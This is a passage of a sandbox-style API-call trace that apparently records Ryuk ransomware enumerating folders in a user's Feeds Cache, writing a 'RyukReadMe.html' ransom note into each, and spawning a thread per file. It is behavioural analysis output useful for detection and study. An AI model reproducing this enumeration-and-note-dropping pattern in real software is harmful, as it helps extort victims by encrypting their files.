	[0222.538] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0222.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.538] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
	[0222.539] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0222.539] SetLastError (dwErrCode=0x0) 
	[0222.539] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0222.540] GetLastError () returned 0xb7
	[0222.540] CloseHandle (hObject=0x6cc) returned 1
	[0222.540] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
	[0222.540] SetLastError (dwErrCode=0x0) 
	[0222.541] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0222.541] GetLastError () returned 0xb7
	[0222.541] CloseHandle (hObject=0x6cc) returned 1
	[0222.542] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0222.545] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0222.545] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
	[0222.546] SetLastError (dwErrCode=0x0) 
	[0222.546] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0222.547] GetLastError () returned 0x0
	[0222.547] WriteFile (in: hFile=0x6d0, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0222.550] CloseHandle (hObject=0x6d0) returned 1
	[0222.550] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0222.551] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0222.551] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0222.551] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0222.552] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8c30000
	[0222.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0
	[0222.559] VirtualFree (lpAddress=0x8c30000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.560] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
	[0222.560] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0222.561] SetLastError (dwErrCode=0x0) 
	[0222.561] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.561] GetLastError () returned 0x3
	[0222.561] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0222.561] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.561] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
	[0222.561] SetLastError (dwErrCode=0x0) 
	[0222.561] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0222.562] GetLastError () returned 0xb7
	[0222.562] CloseHandle (hObject=0x6d0) returned 1
	[0222.562] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0222.563] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0222.563] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0222.563] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0222.563] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8c30000
	[0222.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0
	[0222.574] VirtualFree (lpAddress=0x8c30000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.575] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
	[0222.575] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0222.575] SetLastError (dwErrCode=0x0) 
	[0222.575] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.575] GetLastError () returned 0x3
	[0222.576] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0222.576] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.576] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
	[0222.576] SetLastError (dwErrCode=0x0) 
	[0222.576] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0222.576] GetLastError () returned 0xb7
	[0222.577] CloseHandle (hObject=0x6d0) returned 1
	[0222.577] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0222.578] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0222.578] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0222.578] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0222.578] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b30000
	[0222.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8
	[0222.586] VirtualFree (lpAddress=0x8b30000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.587] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
	[0222.587] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0222.587] SetLastError (dwErrCode=0x0) 
	[0222.587] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.587] GetLastError () returned 0x3
	[0222.587] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0222.587] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.587] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1de, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0222.587] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2bc126f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0222.588] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b30000
	[0222.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0
	[0223.169] VirtualFree (lpAddress=0x8b30000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.534] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1
	[0223.534] SetLastError (dwErrCode=0x0) 
	[0223.534] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f4
	[0223.535] GetLastError () returned 0xb7
	[0223.535] CloseHandle (hObject=0x6f4) returned 1
	[0223.537] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0223.538] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
